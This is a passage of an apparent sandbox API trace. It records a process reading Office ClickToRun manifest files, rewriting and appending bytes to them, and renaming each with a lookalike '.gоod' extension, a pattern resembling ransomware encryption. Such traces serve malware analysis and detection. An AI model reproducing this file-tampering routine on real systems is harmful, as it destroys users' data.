lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x83 [0100.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0100.975] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0100.975] GetFileType (hFile=0x20c) returned 0x1 [0100.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0100.976] GetFileType (hFile=0x20c) returned 0x1 [0100.976] WriteFile (in: hFile=0x20c, lpBuffer=0x34a55b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x34a55b8*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0100.976] CloseHandle (hObject=0x20c) returned 1 [0100.976] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x83 [0100.976] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x88 [0100.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0100.976] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x38662194, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12e5a)) returned 1 [0100.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0100.976] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml.gоod")) returned 1 [0100.977] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x74 [0100.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0100.977] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x3523070 | out: lpFileInformation=0x3523070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37374c5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3734)) returned 1 [0100.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0100.978] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x74 [0100.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0100.978] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0100.978] GetFileType (hFile=0x20c) returned 0x1 [0100.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0100.978] GetFileType (hFile=0x20c) returned 0x1 [0100.978] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0100.978] ReadFile (in: hFile=0x20c, lpBuffer=0x35235b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x35235b8*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0101.158] CloseHandle (hObject=0x20c) returned 1 [0101.158] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x74 [0101.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0101.158] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0101.159] GetFileType (hFile=0x20c) returned 0x1 [0101.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0101.159] GetFileType (hFile=0x20c) returned 0x1 [0101.159] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x3734 [0101.159] WriteFile (in: hFile=0x20c, lpBuffer=0x34289e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x34289e0*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0101.160] CloseHandle (hObject=0x20c) returned 1 [0101.168] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x74 [0101.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0101.168] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0101.168] GetFileType (hFile=0x20c) returned 0x1 [0101.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0101.168] GetFileType (hFile=0x20c) returned 0x1 [0101.168] ReadFile (in: hFile=0x20c, lpBuffer=0x342ad38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x342ad38*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0101.196] CloseHandle (hObject=0x20c) returned 1 [0101.196] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x74 [0101.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0101.197] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0101.197] GetFileType (hFile=0x20c) returned 0x1 [0101.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0101.197] GetFileType (hFile=0x20c) returned 0x1 [0101.197] WriteFile (in: hFile=0x20c, lpBuffer=0x34299f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x34299f8*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0101.197] CloseHandle (hObject=0x20c) returned 1 [0101.197] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x74 [0101.197] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x79 [0101.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0101.197] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3887821f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3744)) returned 1 [0101.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0101.197] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml.gоod")) returned 1 [0101.198] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7d [0101.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0101.198] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x34a74e0 | out: lpFileInformation=0x34a74e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01b5ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed01b5ef, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29ce0e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb27ee)) returned 1 [0101.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0101.624] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7d [0101.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0101.624] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0101.624] GetFileType (hFile=0x6e0) returned 0x1 [0101.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0101.624] GetFileType (hFile=0x6e0) returned 0x1 [0101.624] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0101.624] ReadFile (in: hFile=0x6e0, lpBuffer=0x34e8200, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x34e8200*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0101.625] CloseHandle (hObject=0x6e0) returned 1 [0101.626] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7d [0101.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0101.626] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0101.626] GetFileType (hFile=0x6e0) returned 0x1 [0101.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0101.626] GetFileType (hFile=0x6e0) returned 0x1 [0101.626] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0xb27ee [0101.626] WriteFile (in: hFile=0x6e0, lpBuffer=0x34e9550*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x34e9550*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0101.627] CloseHandle (hObject=0x6e0) returned 1 [0101.628] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7d [0101.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0101.628] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0101.628] GetFileType (hFile=0x6e0) returned 0x1 [0101.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0101.628] GetFileType (hFile=0x6e0) returned 0x1 [0101.628] ReadFile (in: hFile=0x6e0, lpBuffer=0x34eba70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x34eba70*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0101.669] CloseHandle (hObject=0x6e0) returned 1 [0101.669] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7d [0101.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0101.669] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0101.669] GetFileType (hFile=0x6e0) returned 0x1 [0101.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0101.669] GetFileType (hFile=0x6e0) returned 0x1 [0101.669] WriteFile (in: hFile=0x6e0, lpBuffer=0x34ea710*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x34ea710*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0101.669] CloseHandle (hObject=0x6e0) returned 1 [0101.670] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7d [0101.670] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x82 [0101.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0101.670] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01b5ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed01b5ef, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x38cf32bb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb27fe)) returned 1 [0101.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0101.670] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml.gоod")) returned 1 [0101.836] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7b [0101.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0101.836] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x3441e10 | out: lpFileInformation=0x3441e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a705a3, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a705a3, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x11cbd0e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2aafe)) returned 1 [0101.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0101.837] GetFullPathNameW (in: 